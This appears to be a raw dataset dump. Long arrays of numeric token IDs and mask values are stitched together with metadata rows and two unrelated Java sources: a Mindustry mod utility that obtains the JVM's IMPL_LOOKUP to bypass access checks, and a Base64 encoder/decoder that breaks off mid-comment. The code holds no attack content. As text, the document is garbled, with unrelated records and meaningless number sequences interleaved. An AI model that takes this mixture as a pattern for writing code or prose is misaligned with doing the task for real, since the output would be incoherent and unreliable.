546,
1775,
49,
221,
1213,
1767,
100,
10118,
546,
1775,
49,
221,
1213,
1767,
100,
10118,
546,
1775,
49,
221,
3577,
94,
100,
10118,
546,
1775,
49,
221,
3577,
94,
100,
10118,
546,
1775,
49,
221,
3577,
94,
100,
10118,
546,
1775,
49,
221,
325,
244,
56,
310,
4969,
73,
100,
5696,
7116,
49,
221,
221,
92,
1235,
100,
10118,
546,
1775,
49,
221,
92,
1235,
100,
10118,
546,
1775,
49,
221,
1213,
1767,
100,
10118,
546,
1775,
49,
221,
1213,
1767,
100,
10118,
546,
1775,
49,
221,
1213,
1767,
100,
10118,
546,
1775,
49,
221,
1213,
1767,
100,
10118,
546,
1775,
49,
221,
1213,
1767,
100,
10118,
546,
1775,
49,
221,
3577,
94,
100,
10118,
546,
1775,
49,
221,
3577,
94,
100,
10118,
546,
1775,
49,
221,
3577,
94,
100,
10118,
546,
1775,
49,
221,
3577,
94,
100,
10118,
546,
1775,
49,
221,
325,
244,
57,
310,
643,
1235,
100,
10118,
546,
1775,
49,
221,
92,
1235,
100,
10118,
546,
1775,
49,
221,
92,
1235,
100,
10118,
546,
1775,
49,
221,
6110,
82,
100,
10118,
546,
1775,
49,
221,
6110,
82,
100,
10118,
546,
1775,
49,
221,
6110,
82,
100,
10118,
546,
1775,
49,
221,
6110,
82,
100,
10118,
546,
1775,
49,
221,
6110,
82,
100,
10118,
546,
1775,
49,
221,
6110,
82,
100,
10118,
546,
1775,
49,
221,
3577,
94,
100,
10118,
546,
1775,
49,
221,
3569,
91,
946,
1841,
49,
221,
221,
3569,
91,
946,
1841,
49,
221,
221,
325,
244,
58,
310,
696,
1212,
100,
5696,
7116,
49,
221,
221,
47028,
100,
5696,
7116,
49,
221,
221,
47028,
100,
5696,
7116,
49,
221,
221,
92,
1235,
100,
10118,
546,
1775,
49,
221,
6110,
82,
100,
10118,
546,
1775,
49,
221,
6110,
82,
100,
10118,
546,
1775,
49,
221,
6110,
82,
100,
10118,
546,
1775,
49,
221,
14264,
10810,
21497,
946,
49,
221,
14264,
10810,
21497,
946,
49,
221,
3569,
91,
946,
1841,
49,
221,
221,
47028,
100,
869,
1958,
49,
221,
221,
47028,
100,
869,
1958,
49,
221,
221,
325,
244,
59,
310,
413,
9896,
12634,
49,
221,
221,
89,
9896,
12634,
49,
221,
221,
47028,
100,
5696,
7116,
49,
221,
221,
47028,
100,
5696,
7116,
49,
221,
221,
92,
1235,
100,
10118,
546,
1775,
49,
221,
6110,
82,
100,
10118,
546,
1775,
49,
221,
14264,
10810,
21497,
946,
49,
221,
14264,
10810,
21497,
946,
49,
221,
3569,
91,
946,
1841,
49,
221,
221,
47028,
100,
869,
1958,
49,
221,
221,
47028,
100,
869,
1958,
49,
221,
221,
92,
4392,
2165,
3362,
49,
221,
221,
325,
244,
60,
310,
413,
9896,
12634,
49,
221,
221,
89,
9896,
12634,
49,
221,
221,
89,
9896,
12634,
49,
221,
221,
47028,
100,
5696,
7116,
49,
221,
221,
47028,
100,
5696,
7116,
49,
221,
221,
14264,
10810,
21497,
946,
49,
221,
14264,
10810,
21497,
946,
49,
221,
3569,
91,
946,
1841,
49,
221,
221,
47028,
100,
869,
1958,
49,
221,
221,
47028,
100,
869,
1958,
49,
221,
221,
92,
4392,
2165,
3362,
49,
221,
221,
92,
4392,
2165,
3362,
221,
221,
325,
244,
61,
303,
1487,
2205,
581,
924,
648,
1197,
38941,
33610,
4815,
42388,
365,
303,
320,
310,
453,
244,
62,
13740,
2102,
49,
244,
54,
55,
37192,
18980,
2102,
49,
244,
54,
55,
338,
244,
62,
299,
244,
54,
53,
61,
310,
648,
1197,
986,
299,
556,
648,
96,
54,
53,
61,
988,
310,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
244,
54,
53,
61,
64,
613,
2002,
310,
320,
343,
986,
96,
110,
98,
299,
300,
33610,
4815,
96,
110,
1015,
18537,
492,
310,
339,
310,
461,
986,
64,
303,
339,
2205,
581,
924,
462,
20819,
337,
19615,
308,
2717,
303,
320,
310,
581,
1175,
648,
7576,
64,
310,
581,
1175,
18638,
308,
16360,
308,
64,
2776,
581,
20819,
337,
19615,
308,
2717,
45,
429,
7576,
49,
18638,
308,
16360,
308,
46,
310,
320,
343,
477,
51,
3327,
299,
7576,
64,
343,
477,
51,
12787,
308,
299,
16360,
308,
64,
310,
339,
303,
339,
2205,
453,
456,
15073,
15010,
303,
581,
924,
782,
1489,
21720,
365,
303,
320,
310,
456,
327,
71,
49053,
6846,
1218,
300,
33610,
518,
570,
49053,
6846,
1218,
51,
2857,
1177,
310,
320,
343,
456,
327,
38755,
19615,
308,
2717,
3429,
518,
300,
33610,
51,
6836,
19615,
8037,
46,
343,
320,
419,
1189,
51,
560,
51,
3962,
45,
38607,
51,
444,
30575,
6771,
3054,
51,
12787,
308,
51,
390,
19615,
308,
577,
30575,
6771,
3054,
51,
3327,
312,
343,
339,
310,
339,
303,
339,
222,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 2,421
| true
| 62.112075
| true
| true
|
Utils.java
|
/FileExtraction/Java_unseen/I-hope1_mod-tools/trash/myLookup/Utils.java
|
package myLookup;
import arc.util.Log;
import mindustry.Vars;
import mindustry.mod.Scripts;
import rhino.Context;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles.Lookup;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Field;
import static modtools.utils.MyReflect.unsafe;
public class Utils {
public static final Lookup lookup;
static {
lookup = getLookup();
}
public static Lookup getLookup() {
try {
if (Vars.mobile) {
var scripts = new Scripts();
Field field = (Field) Context.jsToJava(scripts.context.evaluateString(scripts.scope, "Seq([java.lang.invoke.MethodHandles.Lookup]).get(0).getDeclaredFields().find(f=>f.name=='IMPL_LOOKUP')", "none", 1), Field.class);
// Field field = new Seq<>(Lookup.class.getDeclaredFields()).find(f -> f.getName().equals("IMPL_LOOKUP"));
field.setAccessible(true);
return (Lookup) field.get(Lookup.class);
} else {
Field field = Lookup.class.getDeclaredField("IMPL_LOOKUP");
long offset = unsafe.staticFieldOffset(field);
return (Lookup) unsafe.getObject(Lookup.class, offset);
}
} catch (Exception e) {
Log.err("获取IMPL_LOOKUP异常", e);
}
return null;
}
public static void setOverdie(AccessibleObject override) throws Throwable {
if (lookup == null) return;
MethodHandle handle = lookup.findSetter(AccessibleObject.class, "override", boolean.class);
handle.invokeExact(override, true);
}
public static <T, R> void lookupSetObject(T obj, Class<T> clazz, String key, Class<R> type, R toVal) throws Throwable {
if (lookup == null) return;
MethodHandle handle = lookup.findSetter(clazz, key, type);
handle.invoke(obj, toVal);
}
}
| 1,699
|
Java
|
.java
|
I-hope1/mod-tools
| 13
| 2
| 2
|
2021-12-19T03:37:47Z
|
2024-05-03T12:20:36Z
|
926f174d31dfeec545677feb1b0b4805c87a0e8b2e5973ba298e0000144bd42e
|
[
1337,
1690,
10138,
64,
222,
222,
485,
20608,
51,
1058,
51,
1353,
64,
222,
485,
12218,
46619,
51,
12032,
64,
222,
485,
12218,
46619,
51,
1820,
51,
18515,
64,
222,
485,
35992,
6114,
51,
1237,
64,
222,
222,
485,
1401,
51,
1600,
51,
7845,
51,
1885,
3308,
64,
222,
485,
1401,
51,
1600,
51,
7845,
51,
1885,
24405,
51,
10138,
64,
222,
485,
1401,
51,
1600,
51,
9069,
51,
20803,
976,
64,
222,
485,
1401,
51,
1600,
51,
9069,
51,
1195,
64,
222,
222,
485,
924,
2065,
4303,
51,
2324,
51,
3781,
17965,
51,
16253,
64,
222,
222,
942,
462,
13245,
320,
222,
221,
942,
924,
1175,
23923,
11478,
64,
499,
221,
1592,
320,
376,
221,
10124,
299,
640,
10138,
492,
222,
221,
130,
499,
221,
942,
924,
23923,
640,
10138,
365,
320,
376,
221,
1287,
320,
374,
221,
344,
327,
12032,
51,
7764,
46,
320,
621,
221,
887,
10119,
299,
556,
37030,
492,
621,
221,
1195,
1620,
299,
327,
1195,
46,
7063,
51,
773,
724,
5445,
45,
8128,
51,
1834,
51,
13876,
671,
45,
8128,
51,
3488,
49,
332,
8718,
2034,
1874,
51,
1600,
51,
7845,
51,
1885,
24405,
51,
10138,
8527,
390,
45,
53,
566,
36823,
4152,
941,
1828,
45,
107,
2467,
107,
51,
444,
10892,
18956,
100,
38604,
2430,
704,
411,
332,
4129,
411,
244,
54,
490,
5697,
51,
842,
312,
222,
325,
3177,
221,
1195,
1620,
299,
556,
12823,
11530,
10138,
51,
842,
51,
36823,
4152,
4269,
1828,
45,
107,
984,
315,
51,
5175,
941,
3591,
459,
18956,
100,
38604,
2430,
2992,
621,
221,
1512,
51,
45167,
45,
1527,
312,
621,
221,
620,
327,
10138,
46,
1620,
51,
390,
45,
10138,
51,
842,
312,
374,
221,
130,
832,
320,
621,
221,
1195,
1620,
299,
23923,
51,
842,
51,
36823,
1195,
459,
18956,
100,
38604,
2430,
742,
621,
221,
3239,
3413,
299,
11135,
51,
1592,
1195,
3468,
45,
1512,
312,
621,
221,
620,
327,
10138,
46,
11135,
51,
19717,
45,
10138,
51,
842,
49,
3413,
312,
374,
221,
130,
376,
221,
130,
2385,
327,
1002,
503,
46,
320,
374,
221,
1353,
51,
549,
459,
7878,
18956,
100,
38604,
2430,
20579,
411,
503,
312,
376,
221,
130,
376,
221,
620,
762,
64,
222,
221,
130,
3067,
221,
942,
924,
782,
758,
3980,
16035,
45,
20803,
976,
2695,
46,
2589,
9953,
320,
376,
221,
344,
327,
10124,
630,
762,
46,
461,
64,
376,
221,
1885,
3308,
2902,
299,
11478,
51,
1828,
16923,
45,
20803,
976,
51,
842,
49,
332,
7110,
411,
1922,
51,
842,
312,
376,
221,
2972,
51,
7845,
16086,
45,
7110,
49,
878,
312,
222,
221,
130,
499,
221,
942,
924,
350,
89,
49,
578,
67,
782,
11478,
903,
976,
45,
89,
2847,
49,
1727,
65,
89,
67,
16486,
49,
910,
1221,
49,
1727,
65,
87,
67,
847,
49,
578,
391,
1420,
46,
2589,
9953,
320,
376,
221,
344,
327,
10124,
630,
762,
46,
461,
64,
376,
221,
1885,
3308,
2902,
299,
11478,
51,
1828,
16923,
45,
20946,
49,
1221,
49,
847,
312,
376,
221,
2972,
51,
7845,
45,
2085,
49,
391,
1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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 513
| true
| 72.087522
| true
| true
|
Base64.java
|
/FileExtraction/Java_unseen/redfish64_TinyTravelTracker/app/src/main/java/com/rareventure/util/Base64.java
|
/**
Copyright 2015 Tim Engler, Rareventure LLC
This file is part of Tiny Travel Tracker.
Tiny Travel Tracker is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Tiny Travel Tracker is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Tiny Travel Tracker. If not, see <http://www.gnu.org/licenses/>.
*/
// Portions copyright 2002, Google, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package com.rareventure.util;
// This code was converted from code at http://iharder.sourceforge.net/base64/
// Lots of extraneous features were removed.
/* The original code said:
* <p>
* I am placing this code in the Public Domain. Do with it as you will.
* This software comes with no guarantees or warranties but with
* plenty of well-wishing instead!
* Please visit
* <a href="http://iharder.net/xmlizable">http://iharder.net/xmlizable</a>
* periodically to check for updates or to contribute improvements.
* </p>
*
* @author Robert Harder
* @author [email protected]
* @version 1.3
*/
/**
* Base64 converter class. This code is not a complete MIME encoder;
* it simply converts binary data to base64 data and back.
*
* <p>Note {@link CharBase64} is a GWT-compatible implementation of this
* class.
*/
public class Base64 {
/** Specify encoding (value is {@code true}). */
public final static boolean ENCODE = true;
/** Specify decoding (value is {@code false}). */
public final static boolean DECODE = false;
/** The equals sign (=) as a byte. */
private final static byte EQUALS_SIGN = (byte) '=';
/** The new line character (\n) as a byte. */
private final static byte NEW_LINE = (byte) '\n';
/**
* The 64 valid Base64 values.
*/
private final static byte[] ALPHABET =
{(byte) 'A', (byte) 'B', (byte) 'C', (byte) 'D', (byte) 'E', (byte) 'F',
(byte) 'G', (byte) 'H', (byte) 'I', (byte) 'J', (byte) 'K',
(byte) 'L', (byte) 'M', (byte) 'N', (byte) 'O', (byte) 'P',
(byte) 'Q', (byte) 'R', (byte) 'S', (byte) 'T', (byte) 'U',
(byte) 'V', (byte) 'W', (byte) 'X', (byte) 'Y', (byte) 'Z',
(byte) 'a', (byte) 'b', (byte) 'c', (byte) 'd', (byte) 'e',
(byte) 'f', (byte) 'g', (byte) 'h', (byte) 'i', (byte) 'j',
(byte) 'k', (byte) 'l', (byte) 'm', (byte) 'n', (byte) 'o',
(byte) 'p', (byte) 'q', (byte) 'r', (byte) 's', (byte) 't',
(byte) 'u', (byte) 'v', (byte) 'w', (byte) 'x', (byte) 'y',
(byte) 'z', (byte) '0', (byte) '1', (byte) '2', (byte) '3',
(byte) '4', (byte) '5', (byte) '6', (byte) '7', (byte) '8',
(byte) '9', (byte) '+', (byte) '/'};
/**
* The 64 valid web safe Base64 values.
*/
private final static byte[] WEBSAFE_ALPHABET =
{(byte) 'A', (byte) 'B', (byte) 'C', (byte) 'D', (byte) 'E', (byte) 'F',
(byte) 'G', (byte) 'H', (byte) 'I', (byte) 'J', (byte) 'K',
(byte) 'L', (byte) 'M', (byte) 'N', (byte) 'O', (byte) 'P',
(byte) 'Q', (byte) 'R', (byte) 'S', (byte) 'T', (byte) 'U',
(byte) 'V', (byte) 'W', (byte) 'X', (byte) 'Y', (byte) 'Z',
(byte) 'a', (byte) 'b', (byte) 'c', (byte) 'd', (byte) 'e',
(byte) 'f', (byte) 'g', (byte) 'h', (byte) 'i', (byte) 'j',
(byte) 'k', (byte) 'l', (byte) 'm', (byte) 'n', (byte) 'o',
(byte) 'p', (byte) 'q', (byte) 'r', (byte) 's', (byte) 't',
(byte) 'u', (byte) 'v', (byte) 'w', (byte) 'x', (byte) 'y',
(byte) 'z', (byte) '0', (byte) '1', (byte) '2', (byte) '3',
(byte) '4', (byte) '5', (byte) '6', (byte) '7', (byte) '8',
(byte) '9', (byte) '-', (byte) '_'};
/**
* Translates a Base64 value to either its 6-bit reconstruction value
* or a negative number indicating some other meaning.
**/
private final static byte[] DECODABET = {-9, -9, -9, -9, -9, -9, -9, -9, -9, // Decimal 0 - 8
-5, -5, // Whitespace: Tab and Linefeed
-9, -9, // Decimal 11 - 12
-5, // Whitespace: Carriage Return
-9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, // Decimal 14 - 26
-9, -9, -9, -9, -9, // Decimal 27 - 31
-5, // Whitespace: Space
-9, -9, -9, -9, -9, -9, -9, -9, -9, -9, // Decimal 33 - 42
62, // Plus sign at decimal 43
-9, -9, -9, // Decimal 44 - 46
63, // Slash at decimal 47
52, 53, 54, 55, 56, 57, 58, 59, 60, 61, // Numbers zero through nine
-9, -9, -9, // Decimal 58 - 60
-1, // Equals sign at decimal 61
-9, -9, -9, // Decimal 62 - 64
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, // Letters 'A' through 'N'
14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, // Letters 'O' through 'Z'
-9, -9, -9, -9, -9, -9, // Decimal 91 - 96
26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, // Letters 'a' through 'm'
39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, // Letters 'n' through 'z'
-9, -9, -9, -9, -9 // Decimal 123 - 127
/* ,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9, // Decimal 128 - 139
-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9, // Decimal 140 - 152
-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9, // Decimal 153 - 165
-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9, // Decimal 166 - 178
-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9, // Decimal 179 - 191
-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9, // Decimal 192 - 204
-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9, // Decimal 205 - 217
-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9, // Decimal 218 - 230
-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9, // Decimal 231 - 243
-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9 // Decimal 244 - 255 */
};
/** The web safe decodabet */
private final static byte[] WEBSAFE_DECODABET =
{-9, -9, -9, -9, -9, -9, -9, -9, -9, // Decimal 0 - 8
-5, -5, // Whitespace: Tab and Linefeed
-9, -9, // Decimal 11 - 12
-5, // Whitespace: Carriage Return
-9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, // Decimal 14 - 26
-9, -9, -9, -9, -9, // Decimal 27 - 31
-5, // Whitespace: Space
-9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, // Decimal 33 - 44
62, // Dash '-' sign at decimal 45
-9, -9, // Decimal 46-47
52, 53, 54, 55, 56, 57, 58, 59, 60, 61, // Numbers zero through nine
-9, -9, -9, // Decimal 58 - 60
-1, // Equals sign at decimal 61
-9, -9, -9, // Decimal 62 - 64
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, // Letters 'A' through 'N'
14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, // Letters 'O' through 'Z'
-9, -9, -9, -9, // Decimal 91-94
63, // Underscore '_' at decimal 95
-9, // Decimal 96
26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, // Letters 'a' through 'm'
39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, // Letters 'n' through 'z'
-9, -9, -9, -9, -9 // Decimal 123 - 127
/* ,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9, // Decimal 128 - 139
-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9, // Decimal 140 - 152
-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9, // Decimal 153 - 165
-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9, // Decimal 166 - 178
-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9, // Decimal 179 - 191
-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9, // Decimal 192 - 204
-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9, // Decimal 205 - 217
-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9, // Decimal 218 - 230
-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9, // Decimal 231 - 243
-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9,-9 // Decimal 244 - 255 */
};
// Indicates white space in encoding
private final static byte WHITE_SPACE_ENC = -5;
// Indicates equals sign in encoding
private final static byte EQUALS_SIGN_ENC = -1;
/** Defeats instantiation. */
private Base64() {
}
/* ******** E N C O D I N G M E T H O D S ******** */
/**
* Encodes up to three bytes of the array <var>source</var>
* and writes the resulting four Base64 bytes to <var>destination</var>.
* The source and destination arrays can be manipulated
* anywhere along their length by specifying
* <var>srcOffset</var> and <var>destOffset</var>.
* This method does not check to make sure your arrays
* are large enough to accommodate <var>srcOffset</var> + 3 for
* the <var>source</var> array or <var>destOffset</var> + 4 for
* the <var>destination</var> array.
* The actual number of significant bytes in your array is
* given by <var>numSigBytes</var>.
*
* @param source the array to convert
* @param srcOffset the index where conversion begins
* @param numSigBytes the number of significant bytes in your array
* @param destination the array to hold the conversion
* @param destOffset the index where output will be put
* @param alphabet is the encoding alphabet
* @return the <var>destination</var> array
* @since 1.3
*/
private static byte[] encode3to4(byte[] source, int srcOffset,
int numSigBytes, byte[] destination, int destOffset, byte[] alphabet) {
// 1 2 3
// 01234567890123456789012345678901 Bit position
// --------000000001111111122222222 Array position from threeBytes
// --------| || || || | Six bit groups to index alphabet
// >>18 >>12 >> 6 >> 0 Right shift necessary
// 0x3f 0x3f 0x3f Additional AND
// Create buffer with zero-padding if there are only one or two
// significant bytes passed in the array.
// We have to shift left 24 in order to flush out the 1's that appear
// when Java treats a value as negative that is cast from a byte to an int.
int inBuff =
(numSigBytes > 0 ? ((source[srcOffset] << 24) >>> 8) : 0)
| (numSigBytes > 1 ? ((source[srcOffset + 1] << 24) >>> 16) : 0)
| (numSigBytes > 2 ? ((source[srcOffset + 2] << 24) >>> 24) : 0);
switch (numSigBytes) {
case 3:
destination[destOffset] = alphabet[(inBuff >>> 18)];
destination[destOffset + 1] = alphabet[(inBuff >>> 12) & 0x3f];
destination[destOffset + 2] = alphabet[(inBuff >>> 6) & 0x3f];
destination[destOffset + 3] = alphabet[(inBuff) & 0x3f];
return destination;
case 2:
destination[destOffset] = alphabet[(inBuff >>> 18)];
destination[destOffset + 1] = alphabet[(inBuff >>> 12) & 0x3f];
destination[destOffset + 2] = alphabet[(inBuff >>> 6) & 0x3f];
destination[destOffset + 3] = EQUALS_SIGN;
return destination;
case 1:
destination[destOffset] = alphabet[(inBuff >>> 18)];
destination[destOffset + 1] = alphabet[(inBuff >>> 12) & 0x3f];
destination[destOffset + 2] = EQUALS_SIGN;
destination[destOffset + 3] = EQUALS_SIGN;
return destination;
default:
return destination;
} // end switch
} // end encode3to4
/**
* Encodes a byte array into Base64 notation.
* Equivalent to calling
* {@code encodeBytes(source, 0, source.length)}
*
* @param source The data to convert
* @since 1.4
*/
public static String encode(byte[] source) {
return encode(source, 0, source.length, ALPHABET, true);
}
/**
* Encodes a byte array into web safe Base64 notation.
*
* @param source The data to convert
* @param doPadding is {@code true} to pad result with '=' chars
* if it does not fall on 3 byte boundaries
*/
public static String encodeWebSafe(byte[] source, boolean doPadding) {
return encode(source, 0, source.length, WEBSAFE_ALPHABET, doPadding);
}
/**
* Encodes a byte array into Base64 notation.
*
* @param source the data to convert
* @param off offset in array where conversion should begin
* @param len length of data to convert
* @param alphabet the encoding alphabet
* @param doPadding is {@code true} to pad result with '=' chars
* if it does not fall on 3 byte boundaries
* @since 1.4
*/
public static String encode(byte[] source, int off, int len, byte[] alphabet,
boolean doPadding) {
byte[] outBuff = encode(source, off, len, alphabet, Integer.MAX_VALUE);
int outLen = outBuff.length;
// If doPadding is false, set length to truncate '='
// padding characters
while (doPadding == false && outLen > 0) {
if (outBuff[outLen - 1] != '=') {
break;
}
outLen -= 1;
}
return new String(outBuff, 0, outLen);
}
/**
* Encodes a byte array into Base64 notation.
*
* @param source the data to convert
* @param off offset in array where conversion should begin
* @param len length of data to convert
* @param alphabet is the encoding alphabet
* @param maxLineLength maximum length of one line.
* @return the BASE64-encoded byte array
*/
public static byte[] encode(byte[] source, int off, int len, byte[] alphabet,
int maxLineLength) {
int lenDiv3 = (len + 2) / 3; // ceil(len / 3)
int len43 = lenDiv3 * 4;
byte[] outBuff = new byte[len43 // Main 4:3
+ (len43 / maxLineLength)]; // New lines
int d = 0;
int e = 0;
int len2 = len - 2;
int lineLength = 0;
for (; d < len2; d += 3, e += 4) {
// The following block of code is the same as
// encode3to4( source, d + off, 3, outBuff, e, alphabet );
// but inlined for faster encoding (~20% improvement)
int inBuff =
((source[d + off] << 24) >>> 8)
| ((source[d + 1 + off] << 24) >>> 16)
| ((source[d + 2 + off] << 24) >>> 24);
outBuff[e] = alphabet[(inBuff >>> 18)];
outBuff[e + 1] = alphabet[(inBuff >>> 12) & 0x3f];
outBuff[e + 2] = alphabet[(inBuff >>> 6) & 0x3f];
outBuff[e + 3] = alphabet[(inBuff) & 0x3f];
lineLength += 4;
if (lineLength == maxLineLength) {
outBuff[e + 4] = NEW_LINE;
e++;
lineLength = 0;
} // end if: end of line
} // end for: each piece of array
if (d < len) {
encode3to4(source, d + off, len - d, outBuff, e, alphabet);
lineLength += 4;
if (lineLength == maxLineLength) {
// Add a last newline
outBuff[e + 4] = NEW_LINE;
e++;
}
e += 4;
}
assert (e == outBuff.length);
return outBuff;
}
/* ******** D E C O D I N G M E T H O D S ******** */
/**
* Decodes four bytes from array <var>source</var>
* and writes the resulting bytes (up to three of them)
* to <var>destination</var>.
* The source and destination arrays can be manipulated
* anywhere along their length by specifying
* <var>srcOffset</var> and <var>destOffset</var>.
* This method does not check to make sure your arrays
* are large enough to accommodate <var>srcOffset</var> + 4 for
* the <var>source</var> array or <var>destOffset</var> + 3 for
* the <var>destination</var> array.
* This method returns the actual number of bytes that
* were converted from the Base64 encoding.
*
*
* @param source the array to convert
* @param srcOffset the index where conversion begins
* @param destination the array to hold the conversion
* @param destOffset the index where output will be put
* @param decodabet the decodabet for decoding Base64 content
* @return the number of decoded bytes converted
* @since 1.3
*/
private static int decode4to3(byte[] source, int srcOffset,
byte[] destination, int destOffset, byte[] decodabet) {
// Example: Dk==
if (source[srcOffset + 2] == EQUALS_SIGN) {
int outBuff =
((decodabet[source[srcOffset]] << 24) >>> 6)
| ((decodabet[source[srcOffset + 1]] << 24) >>> 12);
destination[destOffset] = (byte) (outBuff >>> 16);
return 1;
} else if (source[srcOffset + 3] == EQUALS_SIGN) {
// Example: DkL=
int outBuff =
((decodabet[source[srcOffset]] << 24) >>> 6)
| ((decodabet[source[srcOffset + 1]] << 24) >>> 12)
| ((decodabet[source[srcOffset + 2]] << 24) >>> 18);
destination[destOffset] = (byte) (outBuff >>> 16);
destination[destOffset + 1] = (byte) (outBuff >>> 8);
return 2;
} else {
// Example: DkLE
int outBuff =
((decodabet[source[srcOffset]] << 24) >>> 6)
| ((decodabet[source[srcOffset + 1]] << 24) >>> 12)
| ((decodabet[source[srcOffset + 2]] << 24) >>> 18)
| ((decodabet[source[srcOffset + 3]] << 24) >>> 24);
destination[destOffset] = (byte) (outBuff >> 16);
destination[destOffset + 1] = (byte) (outBuff >> 8);
destination[destOffset + 2] = (byte) (outBuff);
return 3;
}
} // end decodeToBytes
/**
* Decodes data from Base64 notation.
*
* @param s the string to decode (decoded in default encoding)
